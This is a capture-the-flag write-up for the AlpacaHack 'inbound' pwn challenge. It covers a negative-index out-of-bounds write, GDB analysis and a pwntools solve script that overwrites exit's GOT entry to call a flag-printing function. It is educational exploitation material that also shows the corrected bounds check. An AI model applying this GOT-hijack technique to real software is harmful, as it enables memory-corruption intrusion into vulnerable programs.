inbound
Table of Contents
Overview
- 57 solves / 128 points
- Author: @ptr-yudai
- Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆
Background
inside-of-bounds
Enumeration
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:52:43(HKT)]
└> file inbound.tar.gz
inbound.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 30720
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:52:45(HKT)]
└> tar xvfz inbound.tar.gz
inbound/
inbound/inbound
inbound/Dockerfile
inbound/main.c
inbound/compose.yml
inbound/inbound
:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:53:18(HKT)]
└> cd inbound
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:53:20(HKT)]
└> file inbound
inbound: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e9920e6eb161f0ee40de853d38ffad7488f06e7, for GNU/Linux 3.2.0, not stripped
As we can see, this inbound
binary is an ELF 64-bit executable.
Memory protection:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:53:22(HKT)]
└> pwn checksec ./inbound
[...]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- RELRO: Partial RELRO, which means the GOT table can be overwritten
- Stack: No canary, which means we don’t need to worry about leaking the canary
- NX: NX enabled, which means the stack is not executable
- PIE: No PIE, which means the base address is fixed (
0x400000
)
Let’s try to run it!
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound
index:
In here, we can enter an index number. Let’s try 1:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound
index: 1
value:
Then, we can enter a value for this index number:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound
index: 1
value: 1337
slot[0] = 0
slot[1] = 1337
slot[2] = 0
slot[3] = 0
slot[4] = 0
slot[5] = 0
slot[6] = 0
slot[7] = 0
slot[8] = 0
slot[9] = 0
After that, it’ll display the updated slot array’s values.
Now we have a high-level overview of this binary, let’s read its source code, main.c
!
First off, we can see that there’s a function called win
, which executes OS command /bin/cat /flag.txt
:
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
With that said, we need to somehow call this function.
Function main
:
int slot[10];
[...]
int main() {
int index, value;
[...]
printf("index: ");
scanf("%d", &index);
if (index >= 10) {
puts("[-] out-of-bounds");
exit(1);
}
printf("value: ");
scanf("%d", &value);
slot[index] = value;
for (int i = 0; i < 10; i++)
printf("slot[%d] = %d\n", i, slot[i]);
exit(0);
}
In this function, it first checks whether the index is greater or equals to 10
or not. If it is, the function prints out “[-] out-of-bounds
” and exit the program.
If the index number is not out-of-bounds, slot[index]
’s value will be updated to our provided value and exit the program.
Hmm… Although the index number did restrict to positive 10
, it did not check for negative number, thus it’s vulnerable to out-of-bounds write.
The correct validation should be like this:
scanf("%d", &index);
if (index < 0 || index >= 10) {
puts("[-] out-of-bounds");
exit(1);
}
To have a better understanding in this vulnerability, we can use GDB to debug the binary:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:13:07(HKT)]
└> gdb ./inbound
[...]
gef➤
Note: I’m using GEF plugin.
To start debugging, we need to set a breakpoint. To do so, we can set it at function main
+ 268, which is right before the last printf
function call:
gef➤ disassemble main
Dump of assembler code for function main:
[...]
0x000000000040133d <+268>: mov eax,0x0
0x0000000000401342 <+273>: call 0x4010b0 <printf@plt>
[...]
gef➤ b *main+268
Breakpoint 1 at 0x40133d
Now, let’s run the program until we hit the breakpoint:
gef➤ r
[...]
index: 0
value: 1337
Breakpoint 1, 0x000000000040133d in main ()
[...]
In here, we can find the slot
’s memory content!
Since slot
is a global variable, we can use command info variables slot
to find the slot
global variable’s memory address:
gef➤ info variables slot
[...]
0x0000000000404060 slot
Next, we can use the x
command to view a memory address’s content:
gef➤ x/6gx 0x0000000000404060
0x404060 <slot>: 0x0000000000000539 0x0000000000000000
0x404070 <slot+16>: 0x0000000000000000 0x0000000000000000
0x404080 <slot+32>: 0x0000000000000000 0x0000000000000000
As we can see, address 0x404060
has content 0x539
, which is 1337
in decimal.
Now, let’s try index number -1
and see what will happen:
gef➤ r
[...]
index: -1
value: 1337
Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤ x/6gx 0x0000000000404060
0x404060 <slot>: 0x0000000000000000 0x0000000000000000
0x404070 <slot+16>: 0x0000000000000000 0x0000000000000000
0x404080 <slot+32>: 0x0000000000000000 0x0000000000000000
Oh, it’s not in the slot
memory address! It’s now in address 0x404050
!
gef➤ x/-6gx 0x0000000000404060
0x404030: 0x0000000000000000 0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>: 0x00007ffff7f94760 0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>: 0x00007ffff7f93a80 0x0000053900000000
Exploitation
Hmm… Now we can leverage the out-of-bounds write vulnerable to overwrite an address’s value. But where should we overwrite to?
Since the binary doesn’t have GOT protection (Partial RELRO), we can try to hijack a GOT function to the win
function address. In the debugging session, we can enter got
command to see all the GOT functions:
gef➤ got
[...]
GOT protection: Partial RelRO | GOT functions: 6
[0x404000] puts@GLIBC_2.2.5 → 0x401030
[0x404008] setbuf@GLIBC_2.2.5 → 0x7ffff7e3f2c0
[0x404010] printf@GLIBC_2.2.5 → 0x7ffff7e135b0
[0x404018] execve@GLIBC_2.2.5 → 0x401060
[0x404020] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7e13150
[0x404028] exit@GLIBC_2.2.5 → 0x401080
Now you might ask: “Which GOT function should we hijack?”
Because the main
function only executes once, we have to hijack functions that are going to be used right after the out-of-bounds write operation, which are printf
and exit
:
int main() {
[...]
slot[index] = value;
for (int i = 0; i < 10; i++)
printf("slot[%d] = %d\n", i, slot[i]);
exit(0);
}
Hmm… Hijack printf
GOT function? If we look at the value of its’ address, it is 6 bytes long:
gef➤ got
[...]
[0x404010] printf@GLIBC_2.2.5 → 0x7ffff7e135b0
Let’s try to hijack it.
To calculate the offset between slot
and GOT function printf
address, we can do like (printf_got_address - slot_address) // 4
:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:56:14(HKT)]
└> python3
[...]
>>> slot = 0x404060
>>> (0x404010 - slot) // 4
-20
Function win
address in decimal:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:59:37(HKT)]
└> objdump -d inbound | grep 'win'
00000000004011d6 <win>:
>>> 0x4011d6
4198870
Note: The reason why we’re using decimal value is that the
scanf
function will only format integer values.
gef➤ r
[...]
index: -20
value: 4198870
Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤ x/gx 0x404010
0x404010 <printf@got.plt>: 0x00007fff004011d6
As we can see, we can’t hijack GOT function printf
. This is because the original value is 6 bytes long, but the win
function address is 3 bytes only.
Ok, so we can only overwrite GOT function that only 3 bytes long.
If we check the GOT functions, exit
does match to our condition:
gef➤ got
[...]
[0x404028] exit@GLIBC_2.2.5 → 0x401080
Nice! Let’s try to overwrite GOT function exit
with the win
function address!
Index offset:
>>> (0x404028 - slot) // 4
-14
gef➤ r
[...]
index: -14
value: 4198870
Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤ x/gx 0x404028
0x404028 <exit@got.plt>: 0x00000000004011d6
gef➤ c
Continuing.
slot[0] = 0
[...]
/bin/cat: /flag.txt: No such file or directory
Nice! It worked!
Armed with the above information, we can write a Python solve script to get the flag on the remote instance.
solve.py
#!/usr/bin/env python3
from pwn import *
binaryPath = './inbound'
elf = context.binary = ELF(binaryPath)
# p = process(binaryPath)
p = remote('34.170.146.252', 51979)
# gdbScript = '''
# b *main+268
# '''
# gdb.attach(p, gdbscript=gdbScript)
# out-of-bounds write to hijack GOT function `exit` with function `win` address
EXIT_GOT = elf.got['exit']
WIN = elf.symbols['win']
SLOT = elf.symbols['slot']
offset = (EXIT_GOT - SLOT) // 4
log.success('exit@got address: %s', hex(EXIT_GOT))
log.success('slot symbol address: %s', hex(SLOT))
log.success('win symbol address: %s', hex(WIN))
log.success('Offset: %d', offset)
p.sendlineafter(b'index: ', str(offset).encode())
payload = str(WIN).encode()
p.sendlineafter(b'value: ', payload)
p.interactive()
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|13:11:45(HKT)]
└> python3 solve.py
[...]
[+] exit@got address: 0x404028
[+] slot symbol address: 0x404060
[+] win symbol address: 0x4011d6
[+] Offset: -14
[...]
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
- Flag:
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
Conclusion
What we’ve learned:
- Hijack GOT via out-of-bounds write